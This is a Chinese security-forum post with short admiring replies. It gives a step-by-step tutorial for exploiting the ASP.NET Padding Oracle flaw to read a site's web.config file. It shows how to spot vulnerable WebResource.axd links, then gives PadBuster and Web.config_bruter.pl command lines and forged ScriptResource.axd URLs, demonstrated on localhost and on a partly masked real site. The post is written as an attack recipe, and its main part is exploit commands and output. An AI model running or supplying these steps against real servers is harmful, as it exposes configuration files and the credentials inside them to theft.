请选择 进入手机版 | 继续访问电脑版
查看: 1774|回复: 5

Padding Oracle Attack

[复制链接]
  • TA的每日心情

    2016-7-16 21:37
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2016-3-3 11:08:43 | 显示全部楼层 |阅读模式
    本帖最后由 U神V5 于 2016-3-3 11:16 编辑

    本文由u神原创,转载请注明原作者以及出处 http://www.ihonker.org/thread-7961-1-1.html




    #1、寻找WebResource.axd

       
         这个漏洞利用的最关键的一点就是寻找WebResource.axd,准确的说是寻找网站中可能存在的对WebResource.axd的引用,因为网站中引用WebResource.axd的时候会显示出原本的加密字符串,类似这样的。不过可以使用AWVC对网站做一个深度全方位的扫描,或许可以找到这个文件的位置,如果AWVS扫到了这个文件的位置,会提示在哪个页面中的,在AWVS扫描结果中的文件列表显示栏也是可以直接看到WebResource.axd和它的参数和值的,这样就方便很多。

    1.png


    #2、判断是否存在Padding Oracle漏洞

       一般我们访问这个链接都是获得的CSS或者JS资源,实际这是一种加密形式的文件读取,就不像简单的http://127.0.0.1/test.aspx?file=/1.txt这样简单的了。为了判断这个程序是否存在漏洞,我们只要修改d的值最后一位:

    如果返回:

    HTTP 500 Padding is invalid and cannot be removed.

    或者

    HTTP 500 Base-64 字符数组的无效长度。


    例如我们获取的是:

    http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

    修改为

    http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ1

    提示

    2.png


       则说明该网站可能存在ASP.NET Pading Oracle漏洞。



    #3、使用PadBuster伪造密文

    选取其中一条,只需要d的值,后面的t的值不需要。例如获取到的:

    http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

    使用PadBuster工具

    padBuster工具的全部参数:

    选项:

    3.png



          注意:默认kali 或BT5下都有这个工具,Kali的位置在于/usr/bin/padbuster、bactrack5的位置:/pentest/web/padbuster
    或者可以在Windows下使用脚本,脚本需要安装Per程序。程序源码将会再尾页提供。


    padBusterdotnet.pl http://127.0.0.1:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2 fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"



    #释义:这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),
    encoding参数是指定加密的编码格式,默认为0:有四种方式分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,-plaintext为准备加密的存文本,这里是以web.config来演示。


    注意:如果 目标网站释义了ASP.NET的自定义错误CustomErrors功能,就需要使用prefix选择,否则不能利用

    4.png


    经过工具耐心的测试,成功获得了web.config的加密的值。

    5.png

    6.jpg


    此时我们复制下这段值来。

    y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1


    #4、使用Web.config_bruter.pl暴力生成ScriptSource.axd所需要的密文


    Web.config_bruter.pl http://127.0.0.1:81/ScriptResource.axd y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16

    7.jpg


    注意:

    1、URL后跟的是ScriptResource.axd,不再是WebResource.axd了,所以源代码中也必须获取有ScriptResource.axd
    2、我这里写的XXXXXXXXXXXXXXXXXXXX是第一步得到的加密字符串,不是在网页源码中得到的参数d的值



    此处程序似乎进入假死状态,没办法这个填充筛选的时间需要5分钟左右



    经过漫长等待终于获取了web.config用于ScriptResource.axd的加密字符串了

    7.png


    #5、获取最终结果

    最后就可以通过读取web.config了。这里获取的是ScriptResource脚本调用web.config的密文,所以访问的时候是使用ScriptResource.axd

    访问网站:


    http://127.0.0.1:81/ScriptResource.axd?d=Zu81vWKPjjSvwCuAAo5Qv8tqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0


    8.png


    此时整个攻击过程可以说是告一段落了,再来试试Kali和BT5下的,由于我的Kali速度太慢,用BT5再测试一个存在Padding Oracle漏洞的网站


    9.jpg


    10.jpg



    最后获取的Web.config信息

    11.jpg


    评分

    参与人数 1i币 +1 贡献 +2 收起 理由
    90_ + 1 + 2 好久不见

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    开心
    2016-6-11 22:26
  • 签到天数: 162 天

    [LV.7]常住居民III

    发表于 2016-3-4 11:57:52 | 显示全部楼层
    以前也看过这个,不过没仔细看。这个写得详细点,耐心的看完了。666
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2020-8-8 21:30
  • 签到天数: 112 天

    [LV.6]常住居民II

    发表于 2016-3-5 19:30:20 | 显示全部楼层

    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-5-20 20:26
  • 签到天数: 32 天

    [LV.5]常住居民I

    发表于 2016-3-6 09:37:22 | 显示全部楼层
    好久以qian的洞了,这个是linux版的,win版的需要pl脚本,好像
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-7-31 22:26
  • 签到天数: 88 天

    [LV.6]常住居民II

    发表于 2016-3-7 13:50:22 来自手机 | 显示全部楼层
    仰望高端玩家
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-1-24 10:55
  • 签到天数: 120 天

    [LV.7]常住居民III

    发表于 2016-11-26 17:09:45 | 显示全部楼层
    谢谢楼主分享
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表